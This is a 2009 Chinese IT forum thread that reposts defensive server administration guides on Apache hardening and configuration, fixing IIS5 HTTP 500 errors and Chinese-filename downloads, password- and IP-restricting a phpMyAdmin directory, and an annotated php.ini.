迅维网

查看: 17265|回复: 28
打印 上一主题 下一主题

安全资料

[复制链接]
跳转到指定楼层
1#
发表于 2009-11-12 19:09:55 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式 来自: 浙江杭州 来自 浙江杭州

马上注册,获取阅读精华内容及下载权限

您需要 登录 才可以下载或查看,没有帐号?注册

x
WEB 服务器配置安全规范
 

Apache服务器的主要安全缺陷

  正如我们前言所说尽管Apache服务器应用最为广泛,设计上非常安全的程序。但是同其它应用程序一样,Apache也存在安全缺陷。毕竟它是完全源代码,Apache服务器的安全缺陷主要是使用HTTP协议进行的拒绝服务攻击(denial of service)、缓冲区溢出攻击以及被攻击者获得root权限三缺陷和最新的恶意的攻击者进行“拒绝服务”(DoS)攻击。合理的网络配置能够保护Apache服务器免遭多种攻击。我们来介绍一下主要的安全缺陷:
  (1)使用HTTP协议进行的拒绝服务攻击(denial of service)的安全缺陷
  这种方法攻击者会通过某些手段使服务器拒绝对HTTP应答。这样会使Apache对系统资源(CPU时间和内存)需求的剧增,最终造成Apache系统变慢甚至完全瘫痪。
  (2)缓冲区溢出的安全缺陷
  该方法攻击者利用程序编写的一些缺陷,使程序偏离正常的流程。程序使用静态分配的内存保存请求数据,攻击者就可以发送一个超长请求使缓冲区溢出。
  (3)被攻击者获得root权限的安全缺陷
  该安全缺陷主要是因为Apache服务器一般以root权限运行(父进程),攻击者会通过它获得root权限,进而控制整个Apache系统。
  (4)恶意的攻击者进行“拒绝服务”(DoS)攻击的安全缺陷
  这个最新在6月17日发现的漏洞,它主要是存在于Apache的chunk encoding中,这是一个HTTP协议定义的用于接受web用户所提交数据的功能。 所有说使用最高和最新安全版本对于加强Apache Web服务器的安全是至关重要的。
  请广大Apache服务器管理员去http://www.apache.org/dist/httpd/下载补丁程序以确保其WEB服务器安全!

  正确维护和配置Apache服务器

  虽然Apache服务器的开发者非常注重安全性,由于Apache服务器其庞大的项目, 难免会存在安全隐患。正确维护和配置Apache WEB服务器就很重要了。我们应注意的一些问题:

  (1)Apache服务器配置文件
  Apache Web服务器主要有三个配置文件,位于/usr/local/apache/conf目录下。 这三个文件是:

  httpd.conf----->主配置文件
  srm.conf------>填加资源文件
  access.conf--->设置文件的访问权限

  注:具体配置可以参考:http://httpd.apache.org/docs/mod/core.html

  (2)Apache服务器的目录安全认证
  在Apache Server中是允许使用 .htaccess做目录安全保护的,欲读取这保护的目录需要先键入正确用户帐号与密码。这样可做为专门管理网页存放的目录或做为会员区等。在保护的目录放置一个档案,档名为.htaccss
  AuthName "会员专区"
  AuthType "Basic"
  AuthUserFile "/var/tmp/xxx.pw" ----->把password放在网站外 require valid-user 到apache/bin目录,建password档 % ./htpasswd -c /var/tmp/xxx.pw username1 ----->第一次建档要用参数"-c" % /htpasswd /var/tmp/xxx.pw username2 这样就可以保护目录内的内容,进入要用合法的用户.

  注:采用了Apache内附的模组。

  也可以采用在httpd.conf中加入: 
  options indexes followsymlinks 
  allowoverride authconfig 
  order allow,deny 
  allow from all 

  (3)Apache服务器访问控制

  我们就要看三个配置文件中的第三个文件了,即access.conf文件,它包含一些指令控制允许什么用户访问Apache目录。应该把deny from all设为初始化指令,再使用allow from指令打开访问权限。

  <directory /usr/local/http/docs/private>
  <limit>
  order deny,allow
  deny from all
  allow from safechina.net
  </limit>
  </directory>
  设置允许来自某个域、IP地址或者IP段的访问。


  (4)Apache服务器的密码保护问题

  我们再使用.htaccess文件把某个目录的访问权限赋予某个用户。系统管理员需要在httpd.conf或者rm.conf文件中使用 AccessFileName指令打开目录的访问控制。如:

  AuthName PrivateFiles
  AuthType Basic
  AuthUserFile /path/to/httpd/users
  require Phoenix
  # htpasswd -c /path/to/httpd/users Phoenix

  设置Apache服务器的WEB和文件服务器

  我们在Apache服务器上存放WEB服务器的文件,供用户访问,并设置/home/ftp/pub目录为文件存放区域,用http://download.your.com/pub/来访问。在防火墙上设置apache反向代理技术,由防火墙代理访问。 
 
  (1)Apache服务器的设置 

  apache服务器采用默认配置。主目录为/home/httpd/html,主机域名为Phoenix.your.com, 且别名到www.your.com中, 并且设置srm.conf加一行别名定义如下:

  Alias /pub /home/ftp/pub/ 

  更改默认应用程序类型定义如下: 
  DefaultType application/octet-stream 

  最后在/etc/httpd/conf/access.conf中增加一项定义 
  Options Indexes 
  AllowOverride AuthConfig 
  order allow,deny 
  allow from all 

  注:Options Indexes允许在找不到index.html文件的情况下允许列出目录/文件列表。AllowOverride AuthConfig允许做基本的用户名和口令验证。这样的话,需要在/home/ftp/pub目录下放入.htaccess,内容如下: 
  [root@ pub]# more .htaccess 
  AuthName Branch Office Public Software Download Area 
  AuthType Basic 
  AuthUserFile /etc/.usrpasswd 
  require valid-user 
  用# htpasswd -c /etc/.usrpasswd user1  分别创建不同的允许访问/pub下文件服务的外部用户名和口令。
 
  (2)在防火墙上配置反向代理技术.
 
  在/etc/httpd/conf/httpd.conf  中加入 NameVirtualHost xxx.xxx.xxx.xxx # xxx.xxx.xxx.xxx ----->是防火墙外部在互联网上永久IP地址 
  servername www.your.com 
  errorlog /var/log/httpd/error_log 
  transferlog /var/log/httpd/access_log 
  rewriteengine on 
  proxyrequests off 
  usecanonicalname off 
  rewriterule ^/(.*)$ http://xxx.xxx.xx.x/$1 Apache服务器的IP地址。

  servername http://download.your.com/pub/
  errorlog /var/log/httpd/download/error_log 
  transferlog /var/log/httpd/download/access_log 
  rewriteengine on 
  proxyrequests off 
  usecanonicalname off 
  rewriterule ^/(.*)$ http://xxx.xxx.xx.x/$1 同上Apache服务器的IP地址。

  设置防火墙上的DNS,让download.your.com和www.your.com 都指向防火墙的外部网地址xxx.xxx.xxx.xxx。
http://www.your.com访问主页,用http://download.your.com/pub/访问公共文件的下载区。

  注:还需要在apache服务器主机上建立目录/var/log/httpd/download/,否则会出错。另外,也可以设置防火墙主机上的/home/httpd/html/index.html的属性为750来阻止访问,这是防外部用户能访问到防火墙上的Apache服务器的http://www.your.com中。 

  总结:Apache Server是一个非常优秀,非常棒的服务器,只要你正确配置和维护好Apache服务器,
你就会感受到Apache Server 所带来的好处,同样希望你能够通过阅读本文达到理论和实践双丰收的目的。

    验证你的Apache来源途径

    不要以为在Google上能够搜索到合适的Apache版本。如果你需要下载最新版本的Apache,那么你最好通过一个权威的镜像站点来下载。然而,即使这样也可能有问题,事实上,曾经就有黑客入侵过apache.org官方网站。所以,采用类似PGP的工具来验证Apache的数字签名就显得尤为重要。

  保持更新Apache的补丁程序

    如果你安装了Apache,你就必须及时更新安全补丁。如果没有及时的更新,那你的系统很容易受到网络上那些高危病毒的攻击。幸好,有几个简便方法可以更新Apache的补丁。参考我们关于保持更新Apache补丁的文章了解更多关于Apache服务器公告列表、Linux包管理系统和RedHat操作系统更新服务的信息。

  避免使用.htaccess文件(分布式配置文件)

    很多情况下需要几个管理员和内容管理者共同管理Apache服务器。一个常用的共享管理办法就是使用.htaccess文件,这样可以很灵活地对管理员以外的用户提供不同的配置控制权限。然而,这些文件也使得在集中安全管理之外还有相当多的安全控制权限——这些文件允许安全专业人士以外的其他用户改变服务器的访问控制许可配置。那些对粒度访问控制根本不熟悉的用户修改的配置可能在无意中会危害到你的系统安全。所以,除非必须使用,否则我们应该尽可能地避免使用这种访问控制系统。如果需要了解更多相关信息,可以参考“摒弃Apache服务器中的.htaccess文件”这篇文章。

  监视系统日志

    Apache为管理员提供了很全面的日志管理工具来对服务器的活动进行事后分析。Apache提供了多种不同的记录日志,但是对安全专业人士最重要的是访问日志。这个灵活的工具还具有了相当多的自定义功能,你可以按照你的需要很方便地记录尽可能多或者少的日志,以保证有效的分析。至少,你应该记录那些失败的认证企图和系统产生的错误。使用像AWStats一样的免费工具可以很轻松地完成分析任务。但是必须明确的一点是:监视日志只是一种事后分析手段。你可以利用它回顾和判断对服务器的攻击(和攻击企图),但是希望及时查看日志来对紧急情况做出快速反应是不可能的。如果需要进行预判反应,你应该考虑使用入侵预防系统如信息安全杂志评选的2003年度最新兴技术奖得主:Lucid Security公司的ipAngel系统。

  管理文件系统

    我们已经讨论了使用(或不使用).htaccess文件对管理文件访问权限的重要性。禁止通过文件系统许可对Apache服务器进行非授权修改也是很重要的。特别值得一提的是,你应该保证只有根用户才能修改存储在“/usr/local/apache ”目录的文件(或者你选择的任何Apache服务器的根目录)。确保只有根用户才能修改日志文件也很关键,这样可以防止用户掩盖他们的操作。

    Apache 服务器日常配置

1、如何设 置请求等待时间
  在httpd.conf里面设置:
  TimeOut n
  其中n为整数,单位是秒。
  设置这个TimeOut适用于三种情况:
2、如何接收一个get请求的总时间
  接收一个post和put请求的TCP包之间的时间
  TCP包传输中的响应(ack)时间间隔
3、如何使得apache监听在特定的端口
  修改httpd.conf里面关于Listen的选项,例如:
  Listen 8000
  是使apache监听在8000端口
  而如果要同时指定监听端口和监听地址,可以使用:
  Listen 192.170.2.1:80
  Listen 192.170.2.5:8000
  这样就使得apache同时监听在192.170.2.1的80端口和192.170.2.5的8000端口。
  当然也可以在httpd.conf里面设置:
  Port 80
  这样来实现类似的效果。
4、如何设置apache的最大空闲进程数
  修改httpd.conf,在里面设置:
  MaxSpareServers n
  其中n是一个整数。这样当空闲进程超过n的时候,apache主进程会杀掉多余的空闲进程而保持空闲进程在n,节省了系统资源。如果在一个apache非常繁忙的站点调节这个参数才是必要的,但是在任何时候把这个参数调到很大都不是一个好主意。
  同时也可以设置:
  MinSpareServers n
  来限制最少空闲进程数目来加快反应速度。
5、apache如何设置启动时的子服务进程个数
  在httpd.conf里面设置:
  StartServers 5
  这样启动apache后就有5个空闲子进程等待接受请求。
  也可以参考MinSpareServers和MaxSpareServers设置。
6、如何在apache中设置每个连接的最大请求数
  在httpd.conf里面设置:
  MaxKeepAliveRequests 100
  这样就能保证在一个连接中,如果同时请求数达到100就不再响应这个连接的新请求,保证了系统资源不会被某个连接大量占用。但是在实际配置中要求尽量把这个数值调高来获得较高的系统性能。
7、如何在apache中设置session的持续时间
  在apache1.2以上的版本中,可以在httpd.conf里面设置:
  KeepAlive on
  KeepAliveTimeout 15
  这样就能限制每个session的保持时间是15秒。session的使用可以使得很多请求都可以通过同一个tcp连接来发送,节约了网络资源和系统资源。
8、如何使得apache对客户端进行域名验证
  可以在httpd.conf里面设置:
  HostnameLookups on off double
  如果是使用on,那么只有进行一次反查,如果用double,那么进行反查之后还要进行一次正向解析,只有两次的结果互相符合才行,而off就是不进行域名验证。
  如果为了安全,建议使用double;为了加快访问速度,建议使用off。
9、如何使得apache只监听在特定的ip
  修改httpd.conf,在里面使用
  BindAddress 192.168.0.1
  这样就能使得apache只监听外界对192.168.0.1的http请求。如果使用:
  BindAddress *
  就表明apache监听所有网络接口上的http请求。
  当然用防火墙也可以实现。
10、apache中如何限制http请求的消息主体的大小
  在httpd.conf里面设置:
  LimitRequestBody n
  n是整数,单位是byte。
  cgi脚本一般把表单里面内容作为消息的主体提交给服务器处理,所以现在消息主体的大小在使用cgi的时候很有用。比如使用cgi来上传文件,如果有设置:
  LimitRequestBody 102400
  那么上传文件超过100k的时候就会报错。
11、如何修改apache的文档根目录
  修改httpd.conf里面的DocumentRoot选项到指定的目录,比如:
  DocumentRoot /www/htdocs
  这样http://localhost/index.html就是对应/www/htdocs/index.html
12、如何修改apache的最大连接数
  在httpd.conf中设置:
  MaxClients n
  n是整数,表示最大连接数,取值范围在1和256之间,如果要让apache支持更多的连接数,那么需要修改源码中的httpd.h文件,把定义的HARD_SERVER_LIMIT值改大然后再编译。
13、如何使每个用户有独立的cgi-bin目录
  有两种可选择的方法:
  (1)在Apache配置文件里面关于public_html的设置后面加入下面的属性:
  ScriptAliasMatch ^/~([^/]*)/cgi-bin/(.*) /home/$1/cgi-bin/$2
  (2)在Apache配置文件里面关于public_html的设置里面加入下面的属性:
  
    Options ExecCGI
    SetHandler cgi-script

14、如何调整Apache的最大进程数
  Apache允许为请求开的最大进程数是256,MaxClients的限制是256.如果用户多了,用户就只能看到Waiting for reply....然后等到下一个可用进程的出现。这个最大数,是Apache的程序决定的--它的NT版可以有1024,但Unix版只有256,你可以在src/include/httpd.h中看到:
  #ifndef HARD_SERVER_LIMIT
  #ifdef WIN32
  #define HARD_SERVER_LIMIT 1024
  #else
  #define HARD_SERVER_LIMIT 256
  #endif
  #endif
  你可以把它调到1024,然后再编译你的系统。
15、如何屏蔽来自某个Internet地址的用户访问Apache服务器
  可以使用deny和allow来限制访问,比如要禁止202.202.202.xx网络的用户访问:
  
  order deny,allow
  deny from 202.202.202.0/24
  
16、如何在日志里面记录apache浏览器和引用信息
  你需要把mod_log_config编译到你的Apache服务器中,然后使用下面类似的配置:
  CustomLog logs/access_log "%h %l %u %t "%r" %s %b "%{Referer}i" "%{User-Agent}i""
17、如何修改Apache返回的头部信息
  问题分析:当客户端连接到Apache服务器的时候,Apache一般会返回服务器版本、非缺省模块等信息,例如:
  Server: Apache/1.3.26 (Unix) mod_perl/1.26
  解决:
  你可以在Apache的配置文件里面作如下设置让它返回的关于服务器的信息减少到最少:
  ServerTokens Prod
  注意:
  这样设置以后Apache还会返回一定的服务器信息,比如:
  Server: Apache
  但是这个不会对服务器安全产生太多的影响,因为很多扫描软件是扫描的时候是不顾你服务器返回的头部信息的。你如果想把服务器返回的相关信息变成:
  Server: It iS a nOnE-aPaCHe Server
  那么你就要去修改源码了。

2#
发表于 2009-11-12 19:10:24 | 只看该作者 来自: 浙江杭州 来自 浙江杭州
IIS5 HTTP500内部错误解决办法

一.错误表现
iis5的http 500内部服务器错误是我们经常碰到的错误之一,它的主要错误表现就是asp程序不能浏览但htm静态网页不受影响。另外当错误发生时,系统事件日志和安全事件日志都会有相应的记录。
具体如下:
(一)ie中的表现
当浏览以前能够正常运行的asp页面时会出现如下的错误:
网页无法显示
您要访问的网页存在问题,因此无法显示。
请尝试下列操作:
打开 http://127.0.0.1 主页,寻找指向所需信息的链接。
单击刷新按钮,或者以后重试。
http 500 - 内部服务器错误
internet 信息服务
技术信息(支持个人)
详细信息:
microsoft 支持
或者是:
server application error
the server has encountered an error while loading an application during
the processing of your request. please refer to the event log for more
detail information. please contact the server administrator for assistance.
(二)安全日志记录(2条)
事件类型: 失败审核
事件来源: security
事件种类: 登录/注销
事件 id: 529
日期: 2001-9-9
事件: 11:17:07
用户: nt authority\system
计算机: myserver
描述:
登录失败:
原因: 用户名未知或密码错误
用户名: iwam_myserver
域: mydom
登录类型: 4
登录过程: advapi
身份验证程序包: microsoft_authentication_package_v1_0
工作站名: myserver
事件类型: 失败审核
事件来源: security
事件种类: 帐户登录
事件 id: 681
日期: 2001-9-9
事件: 11:17:07
用户: nt authority\system
计算机: myserver
描述:
登录到帐户: iwam_myserver
登录的用户: microsoft_authentication_package_v1_0
从工作站: myserver
未成功。错误代码是: 3221225578
(三)系统日志中的记录(2条)
事件类型: 错误
事件来源: dcom
事件种类: 无
事件 id: 10004
日期: 2001-9-9
事件: 11:20:26
用户: n/a
计算机: myserver
描述:
dcom 遇到错误“无法更新密码。提供给新密码的值包含密码中不允许的值。 ”并且无法登录到 .\iwam_myserver 上以运行服务器:
{3d14228d-fbe1-11d0-995d-00c04fd919c1}
事件类型: 警告
事件来源: w3svc
事件种类: 无
事件 id: 36
日期: 2001-9-9
事件: 11:20:26
用户: n/a
计算机: myserver
描述:
服务器未能转入应用程序 ‘/lm/w3svc/4/root‘。错误是 ‘runas 的格式必须是<域名>\<用户名>或只是<用户名>‘。
若要获取关于此消息的更多的信息,请访问 microsoft 联机支持站点: http://www.microsoft.com/contentredirect.asp
二.原因分析
综合分析上面的错误表现我们可以看出,主要是由于iwam账号(在我的计算机即是iwam_myserver账号)的密码错误造成了http 500内部错误。
在详细分析http500内部错误产生的原因之前,先对iwam账号进行一下简要的介绍:iwam账号是安装iis5时系统自动建立的一个内置账号,主要用于启动进程之外的应用程序的internet信息服务。iwam账号的名字会根据每台计算机netbios名字的不同而有所不同,通用的格式是iwam_machine,即由“iwam”前缀、连接线“_”加上计算机的netbios名字组成。我的计算机的netbios名字是myserver,因此我的计算机上iwam账号的名字就是iwam_myserver,这一点与iis匿名账号isur_machine的命名方式非常相似。
iwam账号建立后被active directory、iis metabase数据库和com+应用程序三方共同使用,账号密码被三方分别保存,并由操作系统负责这三方保存的iwam密码的同步工作。按常理说,由操作系统负责的工作我们大可放心,不必担心出错,但不知是bug还是其它什么原因,系统的对iwam账号的密码同步工作有时会失败,使三方iwam账号所用密码不统一。当iis或com+应用程序使用错误iwam的密码登录系统,启动iis out-of-process pooled applications时,系统会因密码错误而拒绝这一请求,导致iis out-of-process pooled applications启动失败,也就是我们在id10004错误事件中看到的“不能运行服务器{3d14228d-fbe1-11d0-995d-00c04fd919c1} ”(这里{3d14228d-fbe1-11d0-995d-00c04fd919c1} 是iis out-of-process pooled applications的key),不能转入iis5应用程序,http 500内部错误就这样产生了。
三.解决办法
知道了导致http 500内部错误的原因,解决起来就比较简单了,那就是人工同步iwam账号在active directory、iis metabase数据库和com+应用程序中的密码。
具体操作分三步,均需要以管理员身份登录计算机以提供足够的操作权限(iwam账号以iwam_myserver为例)。
(一)更改active directory中iwam_myserver账号的密码
因iwam账号的密码由系统控制,随机产生,我们并不知道是什么,为完成下面两步的密码同步工作,我们必须将iwam账号的密码设置为一个我们知道的值。
1、选择“开始”->“程序”->“管理工具”->"active directory用户和计算机",启动“active directory用户和计算机”管理单元。
2、单击“user”,选中右面的“iwam_myserver”,右击选择“重设密码(t)...”,在跳出的重设密码对方框中给iwam_myserver设置新的密码,这儿我们设置成“aboutnt2001”(没有引号的),确定,等待密码修改成功。
(二)同步iis metabase中iwam_myserver账号的密码
可能因为这项改动太敏感和重要,微软并没有为我们修改iis metabase中iwam_myserver账号密码提供一个显式的用户接口,只随iis5提供了一个管理脚本adsutil.vbs,这个脚本位于c:\inetpub\adminscripts子目录下(位置可能会因你安装iis5时设置的不同而有所变动)。
adsutil.vbs脚本功能强大,参数非常多且用法复杂,这里只提供使用这个脚本修改iwam_myserver账号密码的方法:
adsutil set w3svc/wamuserpass password
"password"参数就是要设置的iwam账号的新的密码。因此我们将iis metabase中iwam_myserver账号的密码修改为“aboutnt2001”的命令就是:
c:\inetpub\adminscripts>adsutil set w3svc/wamuserpass "aboutnt2001"
修改成功后,系统会有如下提示:
wamuserpass: (string) "aboutnt2001"
(三)同步com+应用程序所用的iwam_myserver的密码
同步com+应用程序所用的iwam_myserver的密码,我们有两种方式可以选择:一种是使用组件服务mmc管理单元,另一种是使用iwam账号同步脚本synciwam.vbs。
1、使用组件服务mmc管理单元
(1)启动组件服务管理单元:选择“开始”->“运行”->“mmc”,启动管理控制台,打开“添加/删除管理单元”对话框,将“组件服务”管理单元添加上。
(2)找到“组件服务”->“计算机”->“我的电脑”->“com+应用程序”->“out-of-process pooled applications”,右击“out-of-process pooled applications”->“属性”。
(3)切换到“out-of-process pooled applications”属性对话框的“标志”选项卡。“此应用程序在下列账户下运行”选择中“此用户”会被选中,用户名是“iwam_myserver”。这些都是缺省的,不必改动。在下面的“密码”和“确认密码”文本框内输入正确的密码“aboutnt2001”,确定退出。
(4)系统如果提示“应用程序被一个以上的外部产品创建。你确定要被这些产品支持吗?”时确定即可。
(5)如果我们在iis中将其它一些web的“应用程序保护”设置为“高(独立的)”,那么这个web所使用的com+应用程序的iwam账号密码也需要同步。重复(1)-(4)步,同步其它相应out of process application的iwam账号密码。
2、使用iwam账号同步脚本synciwam.vbs
实际上微软已经发现iwam账号在密码同步方面存在问题,因此在iis5的管理脚本中单独为iwam账号密码同步编写了一个脚本synciwam.vbs,这个脚本位于c:\inetpub\adminscripts子目录下(位置可能会因你安装iis5时设置的不同而有所变动)。
synciwam.vbs脚本用法比较简单:
cscript synciwam.vbs [-v│-h]
“-v”参数表示详细显示脚本执行的整个过程(建议使用),“-h”参数用于显示简单的帮助信息。
我们要同步iwam_myserver账号在com+应用程序中的密码,只需要执行“cscript synciwam.vbs -v”即可,如下:
cscript c:\inetpub\adminscripts\synciwam.vbs -v
microsoft (r) windows script host version 5.6
版权所有(c) microsoft corporation 1996-2000。保留所有权利。
wamusername:iwam_myserver
wamuserpass:aboutnt2001
iis applications defined:
name, appisolated, package id
w3svc, 0, {3d14228c-fbe1-11d0-995d-00c04fd919c1}
root, 2,
iishelp, 2,
iisadmin, 2,
iissamples, 2,
msadc, 2,
root, 2,
iisadmin, 2,
iishelp, 2,
root, 2,
root, 2,
out of process applications defined:
count: 1
{3d14228d-fbe1-11d0-995d-00c04fd919c1}
updating applications:
name: iis out-of-process pooled applications key: {3d14228d-fbe1-11d0-995d-00c04fd919c1}
从上面脚本的执行情况可以看出,使用synciwam.vbs脚本要比使用组件服务的方法更全面和快捷。它首先从iis的metabase数据库找到iwam账号"iwam_myserver"并取出对应的密码“aboutnt2001”,然后查找所有已定义的iis applications和out of process applications,并逐一同步每一个out of process applications应用程序的iwam账号密码。
使用synciwam.vbs脚本时,要注意一个问题,那就是在你运行synciwam.vbs之前,必须保证iis metabase数据库与active directory中的iwam密码已经一致。因为synciwam.vbs脚本是从iis metabase数据库而不是从active directory取得iwam账号的密码,如果iis metabase中的密码不正确,那synciwam.vbs取得的密码也会不正确,同步操作执行到“updating applications”系统就会报80110414错误,即“找不到应用程序{3d14228d-fbe1-11d0-995d-00c04fd919c1}”。
好了,到现在为止,iwam账号在active directory、iis metabase数据库和com+应用程序三处的密码已经同步成功,你的asp程序又可以运行了!
修改成功后,系统会有如下提示:
---------------------------------------------------
经过测试,显示应该是
wamuserpass: (string) "*******"

回复 支持 反对

使用道具 举报

3#
发表于 2009-11-12 19:10:41 | 只看该作者 来自: 浙江杭州 来自 浙江杭州
IIS下中文名的文件无法下载问题的解决方案

在以IIS做web server时,有些中文名的文件会出现无法下载的情况。
测试结果:文件名为2个、4个中文字时无法下载,而1个、3个、5个时没有问题,其他情况未做测试。

测试环境:英文版windows 2000+IIS 5.0

有两种方法可以解决此问题:
1、在Web服务器端修改注册表,HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\INETINFO_PARAMETERS\FAVORDBCS 把1改成0,之后重新启动IIS即可。(如果此值已经是0,应该不会出现上述问题)
2、在客户端修改IE设置 把“总是以UTF-8发送URL”设置为不选中。(最好采用第一种方案,否则不会为每个访问者都去设置一下吧)

回复 支持 反对

使用道具 举报

4#
发表于 2009-11-12 19:10:59 | 只看该作者 来自: 浙江杭州 来自 浙江杭州
Linux下PhpMyAdmin程序目录的安全管理  

  PhpMyAdmin是一套放在服务器端的通过浏览器界面管理的程序,因此,确保其目录安全性十分重要,否则,将导致数据被盗取甚至遭到恶意破坏。下面将详细讲述一般的防范措施。

一、 修改phpMyAdmin目录名:

  在不修改目录名前,其他人很容易洞察该目录名,造成安全隐患。如,假设一台Linux主机的域名为:www.test.com,那么不修改目录名的情况下,在地址栏中输入:www.test.com/phpMyAdmin/ 就将进入phpMyAdmin管理程序。因此如果将phpMyAdmin目录改名为一个别人不易知道的目录,如mynameadmin,这样,你在管理自己的数据库时,只要键入:www.test.com/mynameadmin/ 就可以通过浏览器管理数据库了。(注:下面仍将使用phpMyAdmin目录名,如果目录名已换,只需把phpMyAdmin改名为新的目录名即可。)

二、 对phpMyAdmin目录加用户身份验证:
  这是很多网站需要用户验证时普遍使用的方法,这样当用户第一次浏览进入该目录时,都将出现一个提示窗口,提示用户输入用户名和密码验证,其是通过使用Apache Server的标准 mod_auth模块实现的,具体操作方法如下:

  1、VI编辑Apache Server配置文件,确保文件中如下两句话没有加注释,如果这两句话前有"#"符号,去掉"#"号。
  DocumentRoot /data/web/apache/public/htdocs
  AccessFileName . htaccess
  AllOerride All

  2、passwd程序创建用户文件:
  htpasswd - c /data/web/apache/secrects/.htpasswd 88998
  其中,-c表示选项告诉htpasswd你想生成一个新的用户文件,/data/web/apache/secrects/ 是你想存放 .htpasswd 文件的目录,文件名称为 .htpasswd,88998 是在验证时所用到的用户名,敲如以上命令后,系统提示你输入密码,这个密码就是验证时所需要用到的密码,该密码在 .htpasswd 文件中是加密的。现在用more来查看 /data/web/apache/secrects/.htpasswd文件,可以看到其中有一行用户名和一串加密密码。

  3、创建 .htaccess 文件:
  使用文本编辑器,在目录 phpMyAdmin (如果已经改名,就是新的目录名)下创建 .htaccess 文件,在文件中加入如下语句:
  AuthName "用户验证"
  AuthType Basic
  AuthUserFile /data/web/apache/public/htdocs/phpMyAdmin/.htpasswd
require user 88998
  保存所做操作后,再去看phpMyAdmin目录,将提示验证窗口,输入刚用 htpasswd 命令创建的用户名和密码,即可进入该目录。

三、 增加基于主机的访问控制:

  在修改了目录名和增加访问验证机制后,应该说现在的phpMyAdmin已经很安全了,但由于phpMyAdmin目录一般只是数据库管理员使用,为防止别人还知道目录名称和验证密码,还可以增加如下的基于主机的访问控制,基于主机的访问是通过验证用户机器IP来实现的,即只有符合条件的IP才可以反问该目录,否则拒绝访问。
修改 .htaccess 文件如下:

  AuthName "用户验证"
  AuthType Basic
  AuthUserFile /data/web/apache/public/htdocs/phpMyAdmin/.htpasswd
require user 88998

  order deny,allow
  deny from all
  allow from 202.100.222.80

  这里增加了三条基于主机访问控制指令,其中第一条 order 指令的值是由一个逗号隔开的名单,这个名单表明了哪一个指令更高的优先权,第二条指令 deny 定义不能访问该目录的主机,第三条指令 allow 定义可以访问该目录的主机,这样,该目录除了IP地址为 202.100.222.80 的机器可以访问该目录之外,其他的都不能访问,读者可以把该地址该为用户数据库管理员IP。

  总结:通过以上三点相结合,就可很好的确保 phpMyAdmin 目录的安全,非数据库管理员将很难通过phpMyAdmin程序读取数据。这里所讲的是针对于phpMyAdmin目录进行讲述,其他目录如需加访问限制,也可依此方法操作。

回复 支持 反对

使用道具 举报

5#
发表于 2009-11-12 19:11:21 | 只看该作者 来自: 浙江杭州 来自 浙江杭州
PHP配置文件PHP.INI的中文注释

--------------------------------------------------------------------------------
www.hackbase.com 阅读: 时间:2006-8-24 11:39:49 来源:www.hackbase.com  
这里非常详细的介绍了php.ini的配置文件.很多php的错误都可以从这里的配置得到解决!

这个文件控制了PHP许多方面的观点。为了让PHP读取这个文件,它必须被命名为
; &acute;php.ini&acute;。PHP 将在这些地方依次查找该文件:当前工作目录;环境变量PHPRC
; 指明的路径;编译时指定的路径。
; 在windows下,编译时的路径是Windows安装目录。
; 在命令行模式下,php.ini的查找路径可以用 -c 参数替代。

; 该文件的语法非常简单。空白字符和用分号&acute;;&acute;开始的行被简单地忽略(就象你可能
; 猜到的一样)。 章节标题(例如 : [Foo])也被简单地忽略,即使将来它们可能
; 有某种的意义。
;
; 指示被指定使用如下语法:
; 指示标识符 = 值
; directive = value
; 指示标识符 是 *大小写敏感的* - foo=bar 不同于 FOO = bar。
;
; 值可以是一个字符串,一个数字,一个 PHP 常量 (如: E_ALL or M_PI), INI 常量中的
; 一个 (On, Off, True, False, Yes, No and None) ,或是一个表达式
; (如: E_ALL & ~E_NOTICE), 或是用引号括起来的字符串("foo").
;
; INI 文件的表达式被限制于位运算符和括号。
; | bitwise OR
; & bitwise AND
; ~ bitwise NOT
; ! boolean NOT
;
; 布尔标志可用 1, On, True or Yes 这些值置于开的状态。
; 它们可用 0, Off, False or No 这些值置于关的状态。
;
; 一个空字符串可以用在等号后不写任何东西表示,或者用 None 关键字:
;
; foo = ; 将foo置为空字符串
; foo = none ; 将foo置为空字符串
; foo = "none" ; 将foo置为字符串&acute;none&acute;
;
; 如果你值设置中使用常量,而这些常量属于动态调入的扩展库(不是 PHP 的扩展,就是
; Zend 的扩展),你仅可以调入这些扩展的行*之后*使用这些常量。
;
; 所有在 php.ini-dist 文件里设定的值与内建的默认值相同(这是说,如果 php.ini
; 没被使用或者你删掉了这些行,默认值与之相同)。


;;;;;;;;;;;;;;;;;;;;
; 语言选项 ;
;;;;;;;;;;;;;;;;;;;;

engine = On
; 使 PHP scripting language engine(PHP 脚本语言引擎)在 Apache下有效。
short_open_tag = On
; 允许 <? 标识(这种简单表示)。否则 仅有 <?php and <script> tags 将被识别。
asp_tags = Off
; 允许ASP-style <% %> tags
precision = 14
; 浮点类型数显示时的有效位数

y2k_compliance = Off
; 是否打开 2000年适应 (可能在非Y2K适应的浏览器中导致问题)

output_buffering = Off
; 输出缓存允许你甚至在输出正文内容之后发送 header(标头,包括cookies)行
; 其代价是输出层减慢一点点速度。你可以使用输出缓存在运行时打开输出缓存,
; 或者在这里将指示设为 On 而使得所有文件的输出缓存打开。

implicit_flush = Off
; 强制flush(刷新)让PHP 告诉输出层在每个输出块之后自动刷新自身数据。
; 这等效于在每个 print() 或 echo() 调用和每个 HTML 块后调用flush()函数。
; 打开这项设置会导致严重的运行时冲突,建议仅在debug过程中打开。

allow_call_time_pass_reference = On
; 是否让强迫函数调用时按引用传递参数。这一方法遭到抗议,
; 并可能在将来版本的PHP/Zend里不再支持。
; 受到鼓励的指定哪些参数按引用传递的方法是在函数声明里。
; 你被鼓励尝试关闭这一选项并确认你的脚本仍能正常工作,以保证在将来版本的语言里
; 它们仍能工作。(你将在每次使用该特点时得到一个警告,而参数将按值而不是按引用
; 传递)。

; Safe Mode 安全模式
safe_mode = Off
safe_mode_exec_dir =
safe_mode_allowed_env_vars = PHP_
; ?Setting certain environment variables
; ?may be a potential security breach.
; 该指示包含用逗号分隔的前缀列表。安全模式中,用户仅可以替换
; 以在此列出的前缀开头的环境变量的值。
; 默认地,用户将仅能 设定以PHP_开头的环境变量,(如: PHP_FOO=BAR)。
; 注意: 如果这一指示为空,PHP 将让用户更改任意环境变量!

safe_mode_protected_env_vars = LD_LIBRARY_PATH
; 这条指示包含一个用逗号分隔的环境变量列表,那是最终用户将不能用putenv () 更改的。
; 这些变量甚至在safe_mode_allowed_env_vars 设置为允许的情况下得到保护。

disable_functions =
; 这条指示让你可以为了安全的原因让特定函数失效。
